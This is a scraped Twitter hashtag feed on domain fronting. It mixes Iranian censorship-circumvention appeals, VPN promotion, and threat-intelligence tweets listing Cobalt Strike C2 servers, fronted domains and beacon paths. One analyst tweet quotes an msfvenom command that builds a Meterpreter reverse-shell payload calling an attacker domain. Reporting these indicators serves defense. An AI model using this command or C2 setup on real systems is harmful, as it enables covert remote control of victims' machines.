#DomainFronting - Twitter Hashtag

over 1 year ago

Iranians urgently need internet freedom. @elonmusk, could you encourage companies like @Cloudflare to enable #DomainFronting exclusively for Iranians? This could prevent censorship and ensure our voices are heard. Your support could change lives. 🙏 https://t.co/Wktwo3hnIf

Hiddify, Internet Freedom Solution

@hiddify_com

about 3 years ago

Iranians need their human rights to freely access the internet Please be our voice and reshare Small actions have a significant impact: 1-@Cloudflare-> allow domain fronting for Iranians 2-@Google -> allow DOH in https://t.co/DiwesQUOzm 3-@Telegram -> update its proxy protocol

11

637

190

28

80K

6

218

30

7

10K

C2IntelFeedsBot @drb_ra

about 2 years ago

Abuse #domainfronting /cc @fastly

0

2

0

228

ACE Responder

@ACEResponder

over 3 years ago

Logstash makes everything easier. If you struggle to detect #domainfronting, try using it to enrich IP fields with the domain. Stuff like WerFault.exe talking to Fastly IPs - it's a freebie.

0

3

2

0

210

Thomas Roccia 🤘

@fr0gger_

over 3 years ago

🚨 Unprotect Update! We've just added another network evasion technique to our arsenal: Domain Fronting! Thanks to @Thanat0s for adding this technique! Head over to our website for more details! 🕵️‍♂️ #network #cybersecurity #domainfronting cf: @DarkCoderSc https://t.co/4kHlDweYp2

1

9

2

3K

PureVPN

@PureVPNcom

about 4 years ago

With Domain Fronting, say goodbye 👋 to censorship and hello 😀 to #internet safety. Surf safely and securely without any limitations 💯 Check it out now!👇 https://t.co/ueoUNPUBAN #domainfronting #cybersecurity #dataprivacy #access #censorship #infosec #VPN

PureVPNcom's tweet photo. With Domain Fronting, say goodbye 👋 to censorship and hello 😀 to #internet safety.

Surf safely and securely without any limitations 💯

Check it out now!👇
https://t.co/ueoUNPUBAN

#domainfronting #cybersecurity #dataprivacy #access #censorship #infosec #VPN https://t.co/E6345h9jnC

0

2

0

Brett Fitzpatrick

@_brettfitz

over 4 years ago

Interesting #CobaltStrike #Beacon using #DomainFronting @fastly 🔥 - 3.81.228.82 serving HTTPS beacons - Team server active since 2021-11-04 C2 Host (fronted host) download[.]visualstudio[.]microsoft[.]com Host Header (actual C2 dest) 🕹️ firewall.azureedge[.]net

_brettfitz's tweet photo. Interesting #CobaltStrike #Beacon using #DomainFronting @fastly 🔥
- 3.81.228.82 serving HTTPS beacons
- Team server active since 2021-11-04

C2 Host (fronted host)
download[.]visualstudio[.]microsoft[.]com

Host Header (actual C2 dest) 🕹️
firewall.azureedge[.]net https://t.co/toTF8E1QAr

5

38

14

8

0

Brett Fitzpatrick

@_brettfitz

almost 5 years ago

#CobaltStrike #Beacon leveraging #DomainFronting 🔥 - 165.232.133.76 serving HTTP/S Beacons - Teamserver active since 2021-08-27 C2 Hosts (Fronted Domains) yelp[.]com bbc[.]com nytimes[.]com dictionary[.]com Host Header 🕹️ omm[.]com[.]global[.]prod[.]fastly[.]net

_brettfitz's tweet photo. #CobaltStrike #Beacon leveraging #DomainFronting 🔥
- 165.232.133.76 serving HTTP/S Beacons
- Teamserver active since 2021-08-27

C2 Hosts (Fronted Domains)
yelp[.]com
bbc[.]com
nytimes[.]com
dictionary[.]com

Host Header 🕹️
omm[.]com[.]global[.]prod[.]fastly[.]net https://t.co/Ozq038QBGx

3

18

7

2

0

Brett Fitzpatrick

@_brettfitz

almost 5 years ago

New #CobaltStrike #beacon leveraging #DomainFronting 🔥 - 143.198.147.39 serving HTTPS beacons C2 Host (fronted domains) www.nytimes[.]com <sld>.wholefoodsmarket[.]com <sld>.wholefoods[.]com HTTP Host🕹️ powertap[.]org HTTP GET Path🔊 /access/ HTTP POST Path🔊 /radio/xmlrpc/v35

_brettfitz's tweet photo. New #CobaltStrike #beacon leveraging #DomainFronting 🔥
- 143.198.147.39 serving HTTPS beacons

C2 Host (fronted domains)
www.nytimes[.]com
<sld>.wholefoodsmarket[.]com
<sld>.wholefoods[.]com

HTTP Host🕹️
powertap[.]org

HTTP GET Path🔊
/access/
HTTP POST Path🔊
/radio/xmlrpc/v35 https://t.co/PMkZBkQl1Z

3

20

7

1

0

Brett Fitzpatrick

@_brettfitz

almost 5 years ago

One of the slickest #CobaltStrike #beacon I've come across. This one is leveraging #DomainFronting 🔥 - 148.72.247.66 serving HTTPS beacons C2 Host (fronted domain) pypi.python[.]org HTTP Host doc-python[.]org HTTP GET Path 🔊 /latest/pip-check HTTP POST Path 🔊 /latest/check

_brettfitz's tweet photo. One of the slickest #CobaltStrike #beacon I've come across. This one is leveraging #DomainFronting 🔥
- 148.72.247.66 serving HTTPS beacons

C2 Host (fronted domain)
pypi.python[.]org

HTTP Host
doc-python[.]org

HTTP GET Path 🔊
/latest/pip-check

HTTP POST Path 🔊
/latest/check https://t.co/JCTPLwBqIX

4

69

24

9

0

HackerNoon | Learn Any Technology

@hackernoon

about 5 years ago

"Domain Fronting 101: What is Domain Fronting and How Does it Work?" https://t.co/PJI8JEHU5y #cybersecurity #domainfronting

0

4

6

0

SentinelOne @SentinelOne

over 6 years ago

What is Domain Fronting? https://t.co/IRfjas04ZH #domainfronting #linux #mac #aws #pentesters #networktools #networkattacks #firewall #nmap #portscanner #devs #sysadmin #systemadministration #cyberattacks #ethicalhacking #ethicalhacker #cobaltstrike #letsencrypt #gophish #sqlmap

SentinelOne's tweet photo. What is Domain Fronting?
https://t.co/IRfjas04ZH
#domainfronting #linux #mac #aws #pentesters #networktools #networkattacks #firewall #nmap #portscanner #devs #sysadmin #systemadministration #cyberattacks #ethicalhacking #ethicalhacker #cobaltstrike #letsencrypt #gophish #sqlmap https://t.co/gjyUdvBUBL

0

4

2

0

Unlock Your Brain, Harden Your System @UYBHYS

over 6 years ago

Adrien Barchapt-Perrot (#Redteam Leader @diateam_labs) commence sa conférence sur le "command & control" #UYBHYS #domainfronting #C2

UYBHYS's tweet photo. Adrien Barchapt-Perrot (#Redteam Leader @diateam_labs)
commence sa conférence sur le "command & control" #UYBHYS
#domainfronting #C2 https://t.co/fZd2DXrpab

1

14

6

0

AmiR Rashidi @Ammir

over 6 years ago

A petition with 3 calls: 1. Condemning internet shutdown in Iran 2. Condemning tech sanctions 3. Asking tech companies to re-activate Domain Fronting #BeTheVoice #Internet4Iran #KeepItOn #Iran #DomainFronting https://t.co/s6dwXCk1qd

AmiR Rashidi @Ammir

over 6 years ago

People are condemning internet shutdown in #Iran and U.S tech sanctions. Be the voice. https://t.co/1lwM5hInye #Iran #Internet4Iran #KeepItOn

26

101

41

1

0

3

26

11

1

0

SentinelOne @SentinelOne

over 6 years ago

What is Domain Fronting? https://t.co/IRfjas04ZH #domainfronting #linux #mac #aws #pentesters #networktools #networkattacks #firewall #nmap #portscanner #devs #sysadmin #systemadministration #cyberattacks #ethicalhacking #ethicalhacker #cobaltstrike #letsencrypt #gophish #sqlmap

0

2

1

0

𝐉𝐚𝐬𝐮𝐬𝐢

@Chahali

over 6 years ago

RedPeanut - A Small RAT Developed In .Net Core 2 And Its Agent In .Net 3.5/4.0 https://t.co/wHdJv2cXSy #C2Framework #DomainFronting #Linux

Chahali's tweet photo. RedPeanut - A Small RAT Developed In .Net Core 2 And Its Agent In .Net 3.5/4.0 https://t.co/wHdJv2cXSy #C2Framework #DomainFronting #Linux https://t.co/UxlXBUFlbD

1

2

0

securisec @securisec

over 6 years ago

"RT RedPeanut - A Small RAT Developed In .Net Core 2 And Its Agent In .Net 3.5/4.0 https://t.co/QbwhfSwLFS #C2Framework #DomainFronting #Linux"

securisec's tweet photo. "RT RedPeanut - A Small RAT Developed In .Net Core 2 And Its Agent In .Net 3.5/4.0 https://t.co/QbwhfSwLFS #C2Framework #DomainFronting #Linux https://t.co/Vxi5ZG0AcP"

0

2

1

0

☣ KitPloit - Hacker Tools @KitPloit

over 6 years ago

RedPeanut - A Small RAT Developed In .Net Core 2 And Its Agent In .Net 3.5/4.0 https://t.co/eVMEtx53FL #C2Framework #DomainFronting #Linux

KitPloit's tweet photo. RedPeanut - A Small RAT Developed In .Net Core 2 And Its Agent In .Net 3.5/4.0 https://t.co/eVMEtx53FL #C2Framework #DomainFronting #Linux https://t.co/lJBeW1HbcR

0

55

30

5

0

Nick Carr

@ItsReallyNick

over 6 years ago

#InstallUtil payload just uploaded to VT (4/59): https://t.co/Li4IiuVbaq Unexpected payload comment 🔍😆 // msfvenom -p windows/meterpreter/reverse_tcp LHOST=office365.microsoftcloudapi[.]com LPORT=4433 -f csharp Payload hosted on d1lkxepo6u8zf.cloudfront[.]net #domainfronting?